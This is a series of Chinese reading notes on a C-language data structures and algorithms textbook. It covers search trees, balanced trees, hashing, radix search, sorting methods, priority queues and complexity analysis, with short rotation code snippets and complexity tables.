- 插入：在搜索失败后，用指向树底的链接代替终止搜索的链接
- 排序：中序遍历
- 重复关键字：
  - 新节点会不连续地落在已存在节点的右边
  - 可以在找到第一个匹配点后继续搜索
  - 出现在根到外部节点的搜索关键字的路径上
- 树的根节点对应快排中的划分元素
- 高度：等于最坏情况下，一次搜索的开销
- 内部路径长度：所有节点距离相加：与搜索命中的开销有关
- 外部路径长度：与搜索失败的开销有关，外部 - 内部 = 2N
- 距离一个节点的平均距离 = 节点个数的对数函数
- 索引实现：
  - 索引：一种处于数据项之外的搜索结构，可以快速访问具有给定关键字的数据项
  - 无需改变树的代码，即可添加额外数组（额外信息）
  - 避免了把数据复制到内部的额外开销
  - 提前分配内存
  - 字符串搜索
- 根节点插入：
  - 新插入的数据项在根节点：最近插入的节点都在树的上部
  - 右旋转：
```
x = h->l;
h->l = x->r;
x->r = h;
```
  - 左旋转：
```
x = h->r;
h->r = x->l;
x->l = h;
```
  - 自组织的搜索方法：搜索命中时把找到的节点带到根部，把经常访问到的节点保持在树的顶部
- 其它操作：
  - 选择：第 k 个最小关键字问题
  - 删除：
    - 在子树中，（递归）删除该节点的结构代替原来子树
    - 在根部，合并两个子树代替原树：右子树中的最小节点变成根节点，左链接指向左子树
    - 懒删除：
      - 只标记为已删除，并忽略它
      - 可重用于未来的插入操作
      - 周期性重建：每隔一段时间就删除掉带标记的节点
  - 连接：把 1 号的根插入到 2 号去（根节点插入法），再将 1 号的左右子树分别和 2 号的左右子树两两组合
符号表的时间复杂度：* 表示几乎不可能出现的情况

	插入	搜索	选择	插入	搜索命中	搜索失败
		最坏			平均
关键字索引数组	1	1	M	1	1	1
有序数组	N	N	1	N/2	N/2	N/2
有序链表	N	N	N	N/2	N/2	N/2
无序数组	1	N	NlgN	1	N/2	N
无序链表	1	N	NlgN	1	N/2	N
二分搜索	N	lgN	1	N/2	lgN	lgN
二叉搜索树	N	N	N	lgN	lgN	lgN
红黑树	lgN	lgN	lgN	lgN	lgN	lgN
随机树	N*	N*	N*	lgN	lgN	lgN
散列	1	N*	NlgN	1	1	1

第十三章平衡树

最坏情况：
- 已有序文件
- 大量重复关键字
- 逆序
- 大小关键字交替
- 其中任意片段具有简单结构的文件
平衡方法：
- 显式地进行周期性再平衡：缺点：
  - 重新插入关键字对时间可能随插入序列长度呈平方递增
  - 每次平衡至少花费基于树大小的线性时间
- 随机化：降低最坏情况出现的机会（无论输入）：随机化的 BST 和跳跃表
- 平摊：每次做额外工作，从而避免以后做更多工作：伸展 BST
- 优化：为每个操作提供性能保障：自顶向下 2-3-4 树和红黑树
随机化 BST：按概率进行根插入
- 新纪录的最终位置在搜索路径上的任何地方（随机判定）
- 与输入无关
- 等价于用该树的关键字的随机排列来建立标准 BST
- 缺点：
  - 生成随机数的开销
  - 每个节点需要记录子树节点个数
伸展 BST：伸展操作消除了最坏情况的平方时间
- 插入：
  - 不同定向：标准根插入法
  - 相同定向：在根处进行两次旋转
- 平摊性能保障：虽然不能保证每个操作都是高效的，但可以保证所有操作的平均开销是高效的
- 重复关键字：会排列到节点的两边
- 优点：
  - 自组织
  - 频繁访问一个小型关键字集合
2-3-4 树：
- 2-节点：1 个关键字 k，2 个指针 p1, p2。p1 指向比 k 小的子树，p2 指向比 k 大的子树
- 3-节点：2 个关键字 k1, k2，3 个指针 p1, p2, p3。p1 指向比 k1, k2 都小的子树，p2 指向在 k1, k2 之间的子树，p3 指向比 k1, k2 都大的子树
- 4-节点：3 个关键字 k1, k2, k3，4 个指针 p1, p2, p3, p4。p1 指向最小，p2 指向 k1, k2 之间，p3 指向 k2, k3 之间，p4 指向最大
- 分裂：把 4-节点分裂成两个 2-节点，把中间关键字传给父节点
- 自底向上：
- 自顶向下：搜索过程每遇到 4-节点就分裂
  - 优点：一次遍历过程就可达到所需的平衡
  - 树根变成 4-节点：分裂成一个由 3 个 2-节点组成的三角形
红黑树：
- 思想：把 2-3-4 树表示为标准 BST（只有2-节点），每个节点增加一个信息位来存放指向那个节点的链接的颜色
- 红链接：2-3-4 树中节点中的内部链接，是由 3-节点和 4-节点组成的小二叉树
- 黑链接：2-3-4 树中的普通链接
- 两种结构的优点：
  - 标准 BST 的简单搜索过程
  - 2-3-4 树的简单插入-平衡过程
- 只有看到 4-节点时才平衡
- 重复关键字：必须允许相等落入两边
- 最坏情况有保障
- 随机数据时有最快的插入和搜索
高度平衡树（AVL树）：每个节点的子树高度最多相差 1
2-3 树：只有 2-节点和 3-节点
跳跃表：
- 完全忽略 2-3-4 树的抽象：形式化一个插入算法，使它通过旋转操作保持平衡红黑 BST 性质
- 定义：有序链表，每个节点有不定量的链接，第 i 个链接跳过有小于 i 个链接的节点（i个跳过少于i个）
- 随机化
- 稳固结构：插入时很难维护
- 少于其它方法的空间需求，又能提供对数性能

第十四章散列

处理不规则的关键字
通过算术运算把关键字转换成表中地址来直接引用表中元素
解决冲突：
- 链表：关键字数目无法预知
- 数组：固定数目
- 方法：
  - 链地址法
  - 开放地址法：用空的存储空间来解决冲突
    - 线性探测法
    - 双重散列表
  - 动态散列表
空间换时间：标准散列（关键字索引）
时间换空间：顺序搜索
缺点：
- 运行时间依赖于关键字长度
- 选择、排序的功能无法高效实现
散列函数：
- 不同关键字映射到不同地址
- 冲突：多个关键字对应同一地址
- 希望避免显示类型转换，将关键字的二进制表示用作算术运算
- 对于 w-位整数：
  - 模散列函数：k % M
  - 关键字乘 0-1 之间的常数，再做模 M 运算
- 关键点：应该考虑到关键字的所有位
- 应该取素数（质数）作为表长
- 默森尼素数：当 t = 2, 3, 5, 7, 13, 19, 31 时，2^t-1 为素数
- 对于较长字母序列：
  - 霍纳算法：从左到右计算编码字符串：每个字符的十进制求和后乘基数（应取素数），再加上下一个字符的编码值
  - 计算长整数时，每步去掉 M 的倍数
- 通用散列算法：在计算中使用随机系数，并对关键字每位数采用不同随机值
  - 冲突几率为表大小 M 的倒数：1/M
  - 对长关键字比较耗时，可通过分段处理来解决
链地址法：每个地址对应一个链表
- 易于实现，特别是删除操作，在实际中经常使用
- 无序链表：
  - 插入：常量，很快
  - 搜索：与 N/M 成正比（M为地址，N为关键字）
  - 每个链表就像栈一样，可以删除最近插入的元素
- 有序链表：搜索加快 1 倍，插入减慢
线性探测法：冲突发生时使用下一个空位置
- 聚集：多个元素聚合在一段连续空间
- 最好情况：偶数地址为空，奇数地址为满
- 最坏情况：表的后半段满，前半段空
- 删除：
  - 将被删除元素到右边下一个空位置之间的元素重新散列
  - 将被删除元素用观察哨替换
- 相对于其它方法来说最快，但前提是要有足够内存且表稀疏
双重散列表：冲突发生时，使用第 2 个散列函数来找到空位置
- 搜索增量：
  - 必定非 0
  - 应该与表的大小互素
- 装填因子越接近 1，线性探测开销就越比双重散列开销大
- 可以使用比线性探测更小的表来得到相同的平均搜索时间
- 使用内存最高效，但需计算第 2 个散列函数
动态散列表：当表中元素数量到达某个阈值（1/2）时使表长加倍，而到达另一个阈值（1/8）时使表长减半
- 当插入操作使表为 1/2 时加倍
- 当删除操作使表为 1/8 时减半
- 永远介于 1/8 和 1/2 之间
- 加倍和减半的阈值应该不同
- 适合使用模式无法预知的情况
特殊散列：
- 在双重散列插入时把元素来回移动（第1个散列函数得到的地址与第2个交换），使搜索命中率更高
- 有序散列：在线性探测中引入排序，使搜索失败的开销接近于搜索成功，等同于对链地址法中的链排序
- 异常字典：几乎所有的搜索都应该是失败的，失败搜索快，成功搜索慢

第十五章基数搜索

优点：
- 最坏情况下较好的搜索性能，而无需平衡树的复杂算法
- 对变长关键字易于实现
- 有些算法在搜索数据结构中提前排序
- 与二叉树、散列相比，可快速访问数据
缺点：
- 空间使用效率低
- 不能高效访问位时，搜索性能也会受到影响
数字搜索树（DST）：左链接代表 0 的选择，右链接代表 1 的选择
- 根据某位的测试来决定向左子树还是右子树前进
- 子节点根据关键字某位的比较结果
- 适合关键字数目很大，但字长相对较小的情况
- 最长路径由最长关键字的位数来决定
- 如果关键字是定长的，那么搜索时间也由关键字位数决定
Trie（线索，二叉搜索线索，前缀树，字典树）：
- 关键字有序，且关键字只存储在树的底端（叶节点）
- 结构：
  - 外部节点：空孩子
  - 叶节点：左右链表为空的内部结点
- 比较位为 0 时，进入左子树
- 比较位为 1 时，进入右子树
- 搜索：先用位比较来遍历，最后在叶节点进行一次关键字比较
- 与输入顺序无关：任一无重复关键字序列，存在唯一线索
- 比 BST 更平衡：从中间将关键字分类的概率更大
- 缺点：当关键字位多数都为相同时
- 节点数目加倍：搜索开销仅增加一次比较操作
- 对于长关键字降低开销的方法：
  - 把单树枝压缩成单链接来缩短路径长度
  - 使每个节点包含多于 2 个链接
- 与二叉快速排序（二进制快排）对应，空链接对应空桶
帕氏线索：
- 解决标准线索的缺点：
  - 单路分支导致多余节点
  - 两种类型节点使得代码变得复杂
- 避免单路分支：存储要测试的位的序号，跳过位相同的关键字
- 避开外部节点：使用指向相应线索中内部节点的链接
- 只比较节点中数指示的关键字的位，忽略节点中关键位，当第一次到达向上指向的链接时比较关键字
- 适合关键字较长
- 中序遍历访问节点
多路线索：
- 每次比较 r 位，可使搜索加快 r 倍
- R 叉线索：节点为 R 个链接，每个链接代表一种可能的取值
- 无节点标号，因为可以从父节点链接数组中指向其本身的链接推导出来
- 与多路基数排序对应
- 三叉搜索线索（TST）：节点中有 1 个关键字和 3 个链接。链接分别对应小于、等于、大于节点
  - 与三路基数排序对应
  - 改进：在树根直接使用大型多路节点
  - 优点：
    - 使用关键字不规则（关键字并不随机）
    - 搜索失败时也很高效，即使关键字很长
    - 支持比符号表更广泛的操作：如部分匹配搜索
    - 与帕氏线索相比，访问字节而不是位
后缀树（字符串索引）：由指向字符串的指针组成
- 线索方法
- 文本固定，无需动态插入排序
- 带有字符串指针的二叉搜索（可保证的对数搜索时间）

第十六章外部搜索

维护对数据的索引：
- 不复制副本：
  - 需要相当多的额外空间
  - 避免多个副本造成数据不统一
- 记录是对实际数据的引用
- 主要参数：
  - 块大小
  - 相对访问时间
索引（目录）顺序访问（索引顺序存取）：把关键字和记录的引用按关键字有序放在数组，使用二分搜索
- 改进：
  - 二叉树（索引太大）：
    - 内部节点：关键字 + 页面引用
    - 外部节点：关键字 + 记录指针
  - M 叉树：访问 M 表的开销和访问 2 表相同
- 缺点：修改目录的开销很大
B 树：
- 定义：
  - M 阶 B 树由 k-节点组成，每个节点有 k-1 个关键字和 k 个指向树的链接，链接表示关键字的 k 个间隔
  - 对于根节点，k 在 2 和 M 之间；对于其它节点，k 在 M/2 和 M 之间
  - 所有指向空树的链接到根节点的距离都相等
- 带有记录引用的关键字保存在树底部的外部页面
- 带有页面引用的关键字的副本保存在内部页面
- 速度和灵活性来源于节点内的未用空间
- 每次搜索和插入都会访问根节点，根节点一定会在缓存中
- 删除：
  - 自然方法：用兄弟节点中的数据项来填充删除的空间
  - 简单方法：使节点保持非满
- 改进：
  - 把尽可能多的页面引用保存在一个节点中：节约时间开销、分支因子增大、树更扁平
  - 在分裂前把节点与其它兄弟节点组合：提高存储效率
可扩展散列：
- 如同散列：随机算法，第一步是定义一个散列函数（由关键字得到整数）
- 如同多路线索：使用关键字前几位索引到一个大小为 2 的幂的表
- 如同 B 树：把数据项存储在页面中，填满时分裂，有序的
- 如同索引顺序访问：维持一个目录，由目录搜索关键字可对应到页面
- 定义：阶数为 d 则是一个含有 2^d 个页面引用的目录，目录中有 2^{d-k} 个指向页面的指针，起始于前 k 位决定的位置，页面中数据项不超过 M，关键字前 k 位相同
- 可由线索转换而来
- 与插入顺序无关
- 删除：
  - 简单方法：允许页面不满
- 整个目录都在缓存的可能性不大
- 改进：
  - 把目录组织成单一指针数组（把目录放在内存中）
  - 把树根保存在内存中
  - 增加一层数据，对第一层前 10 位索引，第二层对其余位索引

【读书笔记】数据结构与算法分析 - C 语言描述 - 第三部分 - 排序

Mon, 02 May 2022 07:24:03 GMT

第六章基本排序方法

基本的意思是：适用于小规模或特殊结构
基本排序方法之间的时间复杂度只相差常数因子：都与 N^2 成正比
可用来改进更复杂算法的效率
不占用额外的内存空间
排序：
- 内部排序：任意访问元素
- 外部排序：必须顺序访问
数组：适合顺序分配
链表：适合链式分配
非适应性：所执行的操作序列独立于数据顺序（只使用了比较-交换操作），适于硬件实现
自适应性：操作序列与比较结果有关，大部分算法都是这类
减少开销：
- 换成更高效的算法
- 缩短内部循环
额外内存空间：
- 原位排序：小堆栈或表
- 引用数据：N
- 足够空间：副本
稳定的：相同关键字排序后位置不变
不稳定的：相同关键字排序后位置改变
强制稳定：
- 改用稳定排序较好
- 排序前为各关键字添加小索引
- 加长关键字
访问的元素过大：使用间接排序
选择排序：选出最小（最大）元素，与第一个元素交换，然后对除第一个元素外的其余元素重复选择
- 对数据不敏感
- 对已排序或全部元素相同：等同于随机元素序列，因为未利用已有顺序，还是平方
- 移动数据次数少：适用于大元素
插入排序：将较大（较小）元素（可能有多个元素）向后移动，每次有序数组大小加 1
- 对一个有序数组插入一个新元素（有序数组的下个元素），与有序数组的每个元素从右到左比较
- 运行时与总逆序数有关，与分布无关
- 优化策略：
  - 提前停止执行（新元素 >= 有序数组中的元素）：因为这时新元素已插入到正确位置
  - 设置最小（最大）观察哨关键字
  - 去掉内部循环中的无用操作
- 比较次数少
- 对已排序文件：线性
- 对部分排序的文件：高效，因为插入排序（和冒泡排序）执行过程中也是部分有序的
- 对已排序的文件添加或修改：使用插入排序高效，但不适合冒泡排序
- 效率较低的原因：交换操作只涉及近邻元素，每次只能移动一位
冒泡排序：遍历文件，顺序不对则交换，重复直至全部有序
- 也属于选择排序，但需开销更多工作将元素放到合适位置
- 内部 for 循环中：
  - 冒泡排序：从右边（未排序）向左移动
  - 插入排序：从左边（已排序）向右移动
- 非适应性
- 最坏、最好差别不大
- 对已排序：线性
- 对于小型文件：选择排序、插入排序的效率是冒泡排序的 2 倍
- 优化：
  - 提前终止外部循环：当其中一步没有交换时，这时是已排序的
  - 鸡尾酒排序（Cocktail shaker sort）
希尔排序：
- 在使文件变得 h- 有序时，通过将较大的元素右移，把元素插入在 h- 子文件中某些元素前面
- 每第 h 个元素的集合是一个有序文件：h 个独立的已排序文件，相互交叉在一起
- 步骤：
  1. 对 n 个元素，取一个整数 d < n。将 n 个元素分成 d 组，位置相差为 d 倍数的分成一组，每组 n/d 个元素
  2. 对 d 逐渐减小，直至为 1：对每组使用插入排序
- 插入排序的改进：通过允许非相邻元素进行交换来提高效率
- N^1.25
- 步长序列：
  - 通常以几何级别减小：2 的幂
  - 能提高 25% 的效率：for (h = 1; h <= (r-l)/9; h = 3*h+1)：1, 4, 13, ...
  - 最好：1, 5, 19, ...
  - 最简单：1, 8, 23, ...
指针排序（索引排序）：不移动元素，维持一个索引数组，元素的关键字仅比较时访问。不会交换真的元素，而是交换索引，可通过索引来访问元素
- 原位排序（合适置换、原位重排）
- 可以避免扰乱要排序的数据和避免移动整个记录
- 可用于对只读访问的数据排序
- 灵活：操纵数据而不改变数据
- 记录还是过大：还是选择使用选择排序
链表排序：
- 适用于指向正在操纵的表节点的指针是由应用系统的其它部分操纵的时：这时只能改变节点中的链接，而不能改变关键字值等其它信息
- 高效支持链表操作时才会高效
- 排序后使得按链接访问（遍历）时是有序的，同时其它链接不改变顺序
关键字索引统计（计数排序）：
- 关键字必须是在一个小范围内的整数
- 对于 N 个介于 0-R-1 之间的关键字：线性
- 大小为 R 的辅助表用于存放统计数
- 大小为 N 的表用于重排记录

第七章快速排序

在两部分有序时重排以使整个文件有序：一个选择操作，后跟两个递归调用
通用：易于实现
处理多种不同输入
消耗资源少
原位排序：小辅助栈
平均与 NlgN 成正比
最坏平方
不稳定：基于数组的快速排序无法稳定
内部循环小
分治（递归）：
- 分别进行排序，每次将一个元素移到最终位置
- 数组中有一个或零个元素时终止（基线条件）
a[l]-a[i-1] 中的元素都比 a[i] 小（大）
a[i+1]-a[r] 中的元素都比 a[i] 大（小）
左指针 l 从左扫描，直到找到比 i 大（小）的元素，停止
右指针 r 从右扫描，直到找到比 i 小（大）的元素，停止
停止并交换这两个元素，直至两个指针相遇，这时完成划分，再将右指针与 i 交换
当元素与 i 相等时：两个指针都停止并交换较好
优化策略：
- 混合算法：在遇到小的子文件（阈值M在5-25之间）时调用插入排序
  - 几乎所有的递归算法在小问题中都会占据大部分时间
- 三者取中划分（采样）：取三个元素的中位数作为划分元素
  - 5% 提升
  - 最坏情况几乎不可能发生
- 随机元素（概率算法）：最坏可能性变小
- 消除递归、用内嵌代码代替函数调用、使用观察哨
- 三者取中划分 + 小的子文件阈值：20%-25% 提升
重复关键字：
- 使用三路划分方法：
  1. 扫描时，将遇到的左子文件中与划分元素相等的放到最左边（leftEqual 指针指向），右子文件中与划分元素相等的放到最右边（rightEqual 指针指向）
  2. 然后，当两个扫描指针相遇时，等值关键字的精确位置就知道了，只需将所有等值关键字交换到划分元素两边即可
- 数组中的元素组成：
选择算法（第 k 大（小）元素问题）：快排中的划分过程：partition 函数
- 平均：线性
- 最坏：与快排相同，平方
  - 修改选择过程，可保证线性
- 快排基础：找出文件第 k 大（小）元素
  - 将文件分为两个部分：k 个最小元素 + N-k 个最大元素

第八章归并与归并排序

归并操作：将两个独立的文件合并成一个文件
将文件分为两部分来排序，对这两部分有序的文件进行组合，以使整个文件都有序
两个递归调用 + 一个归并过程
无论任何输入都为：与 NlgN 成正比，加上与 N 成正比的额外空间
顺序访问数据：适合链表（同样高效）、适合外部排序（多路归并）
两路归并：给定两个已排序文件，取出其中最小（大）文件放入最终文件
两个有序子文件不相交：彼此不共享元素和存储空间
独特应用：将新一组小文件排序，再与大文件归并
优化策略：
- 对小文件改用插入排序：10%-15% 提升
- 使用抽象原位排序来避免复制数组的额外开销：
  - 在复制时将第二个数组变成倒序（无需额外开销），因此相关的指针改为从右向左移动
  - bitonic 序列：关键字先递增再递减（或先递减再递增）
  - 不稳定
  - 代价：需要在内循环中放入检测是否到达末尾的代码
  - 解决：重新生成 bitonic 序列，这样就无需观察哨
- 结合以上优化策略：40% 提升
自顶向下（Top-down，递归法）：先处理左半部分，后处理右半部分
自底向上（Bottom-up，迭代法）：从左到右处理其余最小的
自然归并排序（链表归并）：
- 不是 ceil(lgN) 而是 ceil(lgS)，S 为原数组中有序子文件个数
- 含有有序子文件的块：高效的
与快速排序的对比：
- 归并排序：
  - 以最小开始，以最大结束
  - 分成两部分，分别处理每部分
- 快速排序：
  - 以最大子文件开始，以最小结束
  - 大多数工作在递归调用之前就已完成

第九章优先队列与堆排序

优先队列：
- 插入新元素、删除最大（小）元素
- 栈和队列的推广
- 排序：先插入所有记录，然后依次取出
  - 无序表：选择排序
  - 有序表：插入排序
- 重复关键字：含有最大（小）关键字值的记录
- 堆有序树的有向链表（三链）
堆：优先队列的一种实现
- 堆有序：每个关键字必定大于（小于）或等于所有子节点
- 数组表示：根节点 a[1]、子节点 a[2], a[3]，再下一层以此类推
- 位置：i 处节点的父节点为： floor(i/2)，两个子节点为：2i, 2i+1
- 完全二叉树：N 个节点，路径节点约为：lgN，最下一层节点：N/2，每层节点数是下一层的一半，最多 lgN 层
- 链表实现：
  - 三链堆有序的完全树
  - 联赛
  - 二项队列
- 堆化（修正堆）：先侵犯堆的条件，再遍历堆，在需要的时候修改堆使其满足堆有序的条件
  - 不断与父节点（子节点）比较并交换
  - 堆底：向上遍历，直到根节点
  - 替换根节点：向下遍历，直到堆底
- 数组中第一个元素即为堆顶，最后一个元素为树表示中最右边最下面的元素
- 插入：在数组末尾插入新元素，然后向上堆化
- 取出最大（小）元素：取出堆顶元素，由数组末尾元素代替，再向下堆化
- 构造堆：
  - 一个个插入：平均线性，最坏线性对数
  - 自底向上：从数组中间开始向后扫描，对每个节点进行向下堆化。平均、最坏：线性
- 堆排序：构造堆后，循环交换堆顶元素和数组末尾元素，并对堆顶进行向下堆化
  - 可用于第 k 大元素问题：最好常数
  - 与输入无关
  - 不稳定
  - 无额外时间
  - Floyd 改进：有最少比较次数，适用于比较开销较大的元素，但需要额外空间
二项队列：
- 二项树等于 2 次幂堆：
  - 节点数为 2 的幂次
  - 根节点大于所有节点
  - 堆有序：二项树
- 连接（join）：常量
  - 最大根节点：根节点
  - 另一个根节点：左子节点
  - 最大左子树：另一棵右子树
优先队列操作最坏情况

	插入	删除最大（小）	删除	找最大	修改优先级	连接
有序数组	N	1	N	1	N	N
有序表	N	1	1	1	N	N
无序数组	1	N	1	N	1	N
无序表	1	N	1	N	1	1
堆	lgN	lgN	lgN	1	lgN	N
二项队列	lgN	lgN	lgN	lgN	lgN	lgN
理论最佳	1	lgN	lgN	1	1	1

第十章基数排序

每次只对关键字的一块进行处理
把关键字看作以 R 为基数的数字，对不同的 R 值（基）处理独立位
整数：表示为二进制数，R=2 或 R=2的幂：访问每组中的位代价较低
字符串类型：R=128 或 R=256，按照字节大小把基对齐
提取操作：从一个关键字中提取出第 i 个数字
最高位优先（MSD）：从左往右检查，先处理最高位，需要检查的信息最少
- 与快排类似，根据关键字开始的几位划分，递归处理子文件
最低位优先（LSD）：从右往左检查，先处理最低位，先处理最不重要的数字
关键点：关键字索引统计：只要有足够空间存放 2^w 大小的表，就可以线性时间对 w 位关键字进行排序
二进制快速排序：
- 2^b 用作划分元素（可能不在文件中）
- 递归调用对少于 1 位的关键字调用的：次数由位数决定
- 开始指针取决于硬件中每个字的位数、整数和负数表示方法
- 退化时划分频繁：所有位的值都相等
- 递归分界线：由待排数据范围和数字的二进制表示法决定
MSD：
- 将数组分成 R 部分
- 文件已基本有序：效率很高
- 优化：
  - 调整 R 的值，减少小文件：限制空桶数量：合适的基数 + 合适的划分小文件的值
  - 递归参数转换消除数组复制的开销
- 链表实现
- 处理缺乏随机性的数据：
  - 将所有字符串排序情况信息都考虑进去
  - 桶跨度启发式法
- 三路基数快速排序：
  - 对关键字控制字节进行三路划分，只在中间子文件移动到下一字节（关键字的控制字节与划分元素的控制字节相同）
  - 划分操作适合关键字不同部分含有非随机的不同类型的关键字，且无需额外数组
  - 适合：
    - 重复关键字
    - 关键字位于小的范围
    - 小文件和 MSD 可能慢的情况
  - 不同基数对应的排序方法：
    - 中间大小的基数：高效处理重复关键字
    - 非常大的基数（大于字的大小）：普通快排
    - 基数 2：二进制快排
  - 适合向量：多关键字快速排序
- 大型文件：标准 MSD：多路划分
- 小型文件：三路基数快排：避免大量空桶
LSD：
- 关键字索引统计：稳定，高效
- 基于固定长度关键字，控制关键字只在最后一遍涉及
- 控制结构简单，基本操作适合机器语言实现，可直接改编到有特殊用途的高性能硬件中
- 对 w- 字节的 N 个记录：与 Nw 成正比
- 长关键字短字节：与 NlgN 成正比，需详细说明关键字中的字节数而不是关键字的数目
- 短关键字长字节：线性
- 最坏情况：关键字都相等，需要检查所有字节：线性
- 随机数据：亚线性，
  - 使 lgR（每字节位数）为字大小的 1/4：
    - 从字中提取字节而不是位
    - 中途使用插入排序：2 遍
    - 4 遍关键字索引统计

第十一章特殊用途的排序方法

应用：
- 高性能增强的系统
- 专门为排序设计的具有特殊用途的硬件
- 基于某种新型结构设计的系统
低层模型：只允许比较-交换操作
高层模型：在较慢的外部介质或独立的并行处理器上读写大块数据
Batcher 奇偶归并排序：归并排序的一种版本，基于分治归并算法，只使用比较-交换操作
- 数据移动：
  - 完美混洗（Perfect shuffle）
    - 2^n-2^n 方阵以行为主序：n 次完美混洗：转置（以列为主序）
    - 先分成两半，先去第一半第一个元素，再取另一半第一个元素等等
    - 从 0 开始编号，前一半元素编到偶数编号，后一半元素编到奇数编号
  - 完美逆混洗（Perfect unshuffle）
    - 偶数到前半，奇数到后半
    - 用交换、混洗或类似操作来重排数据
- 自顶向下归并：归并过程用 Batcher，属于非适应性
作为排序网的 Batcher 方法：
- 比较器（比较-交换模块）：能够执行比较-交换操作的模块
- 排序网：只能比较-交换，是一种并行计算模型
外部排序：
- 从外部存储器读入，把内存写入外部存储器
- 待排文件过大所以不能放入内存：大块形式，串行化随机高效，随机访问达到外部设备峰值性能
- 访问记录开销巨大：排序-归并：对文件扫描，分成等于内存的数据块，对块进行排序。若干遍扫描后创建大的文件块（可选），用于将有序块归并
  - P（归并的阶数）：顺序访问：P 为可用设备的一半
  - 平衡多路归并：
    - 步骤：初始分布遍；几次多路归并遍
    - 降低开销：替换选择（增加内存）；多阶段归并（增加设备）
- 虚拟内存：访问地址分散，不适合堆、基数排序
- 运行时间 = 读写整个文件时间 * 所使用遍数
并行排序：
- 待排文件分布在多个独立的并行处理器
- 增加处理器，则开销（通信）增加：这时应使用 Batcher 网络
- 处理器间的通信约束：大块数据顺序处理

【读书笔记】数据结构与算法分析 - C 语言描述 - 第二部分 - 数据结构

Mon, 02 May 2022 07:24:02 GMT

第三章基本数据结构

客户-接口-实现
数组：
- 固定有序
- 存储空间相邻：适合访问而不是操纵
- 两种常见错误：
  - 引用了无意义的 a[i] 内容
  - 没有保证 i 非负且小于数组大小
- 查找（索引）：在链表中需要遍历，效率不高
- 与向量（矢量）对应
- 二维数组：矩阵 + 主序
链表：
- 逻辑有序
- 高效重排数据项：适合操纵而不是访问
- 可优雅地增大和缩小
- 自引用结构 + 循环结构
- 末尾节点的实现细节：
  - 不指向任何节点的空链接
  - 指向不包含元素节点的哑元节点
  - 循环链表：指向第一个节点（首节点）
- 在开头保留头节点：
  - 无数据域
  - 链域指向真正的第一个节点
  - 好处：把链表指针作为参数，使函数可修改链表，可接受或返回一个空表
  - 不保留头节点时：把指向输入链表的指针作为参数，返回输出链表的指针。这种方法适合递归链表
- 插入：在数组中需要移动元素，效率不高
- 删除：遍历
- 两种常见错误：
  - 引用了未定义的指针
  - 使用了无意中修改了的指针
- 双向链表：
  - 主要意义：只有一个节点的信息，仍然可以删除该节点
  - 适用情况：
    - 节点作为参数传递
    - 节点中有其它链接，且是其它数据结构的一部分
- 空闲链表
- 多重链表
字符串：
- 字典顺序
图的表示：
- 邻接矩阵（数组）：
  - 适合稠密图（边数多）
  - 无向图时矩阵对称
  - 检查两个顶点间是否有边相连：常量
- 邻接表（链表）：
  - 适合稀疏图（边数少）
  - 处理所有边：正比于 V+E，而不是邻接矩阵的 V^2

第四章抽象数据结构

广义队列（generalized queue）：
- 操作：插入、删除
- 随机队列：随机（等概率）得到一个项、随机删除一个项
- 双端队列：在任何一端进行插入、删除
- 优先队列：删除最小（最大）键
- 符号表：删除与给定键相等的项
- 下推栈（Push-down stack）：
  - 操作：pop、push
  - 函数调用机制
  - 后进先出（LIFO）
  - 实现：
    - 数组：
      - 固定空间：最大项的个数
    - 链表：
      - 灵活空间：所用空间与项的个数成正比
      - 栈的大小变化很大时使用
- 先进先出队列（FIFO）：
  - 实现：
    - 数组：在头、尾分别维持两个索引
    - 链表：在头、尾分别维持两个指针

第五章递归与树

递归：
- 归纳基础
- 归纳假设
非递归程序 = 递归程序 + 栈
分治法：基本递归模式
动态规划：实现递归程序的一般性方法
循环：表现为递归
递归的深度：取决于输入
消除尾递归
分治法：每个递归调用处理一半
- 步骤：
  1. 分片，合并
  2. 在处理一半之后跟进
- 与数字的二进制表示紧密相关
- 组合-分治法：自底向上
背包问题：最优决策
动态规划：消除递归中的重复计算（存储函数值）
- 自底向上：预先计算值
- 自顶向上：存储已知的值，在之后的计算中优先选择
树、顶点、边、路径：
- 森林：不相交的多个树
- 树的定义：根到叶节点都是唯一路径
- 图的定义：不是唯一路径
父节点、子节点、叶节点
树的种类：
- 无序树（自由树）：树中任意节点的子节点之间没有顺序关系，边的集合
- 有序树：树中任意节点的子节点之间有顺序关系
  - 二叉树：
    - 联赛
    - 形状平衡时性能好
树的遍历：
- 前序：先根后左右。对应栈
- 中序：先左中根后右
- 后序：先左右后根
- 层序：从上到下，从左到右。对应队列
图的遍历（由树的遍历推广得到）：
- 深度优先搜索（DFS）：对应栈
- 广度优先搜索（BFS）：对应队列，对应层序遍历

【读书笔记】数据结构与算法分析 - C 语言描述 - 第一部分 - 基础知识

Mon, 02 May 2022 07:24:01 GMT

第一章引言

连通性问题：
- 两个操作：查找（find）、并集（union）
- 快速-查找（quick-find）：N 个对象，M 次合并：MN
- 快速-合并（quick-union）：N 个对象，M 对：MN/2
- 加权快速-合并（weighted quick-union）：遍历 2lgN 个指针：线性
- 带等分路径压缩的加权快速-合并：保证线性
- 在线算法（online）：能处理的数据没有限制

第二章算法分析的原理

算法分析的种类：
- 最坏情况（Worst Case）：任意输入规模的最大运行时间（Usually）
  - 在任何输入下运行时间的一个上界
- 平均情况（Average Case）：任意输入规模的期待运行时间（Sometimes）
- 最佳情况（Best Case）：通常最佳情况不会出现（Bogus）
基本思路：
- 忽略掉那些依赖于机器的常量
- 关注运行时间的增长趋势
渐近记号：
- 尽管技术上 theta 符号较为准确，但通常仍然使用大 O 符号表示
- 大 O 符号：只有渐近上界
  - 表示最坏运行情况的上界
  - T(n) = O(n^3) 等同于 T(n) ∈ O(n^3)：T(n) 的渐近增长不快于 n^3
- theta（西塔）符号：渐近地给出了一个函数的上界和下界
  - T(n) = Θ(n^3) 等同于 T(n) ∈ Θ(n^3)：T(n) 的渐近增长与 n^3 一样快
- omega（欧米伽）符号：只有渐近下界
采用记号 lgN = log_2N：改变一个对数的底只是把对数的值改变了一个常数倍，所以当不在意这些常数因子时可使用这个简便的记法
常见复杂度：
- 常量：O(1)
- 对数：O(lgN)
- 线性：O(N)
- 线性对数：O(NlgN)
- 平方：O(N^2)
- 立方：O(N^3)
- 指数：O(2^N) O(k^N)
  - 阶乘：O(N!)：旅行商问题
floor(x)：向下取整 x。设 x = 4.5，floor(x) = 4
ceil(x)：向上取整 x。设 x = 4.5，ceil(x) = 5
调和级数：H_N = 1 + 1/2 + 1/3 + ... + 1/N

【读书笔记】编码 - 隐匿在计算机软硬件背后的语言

Mon, 02 May 2022 07:23:08 GMT

第一章至亲密友

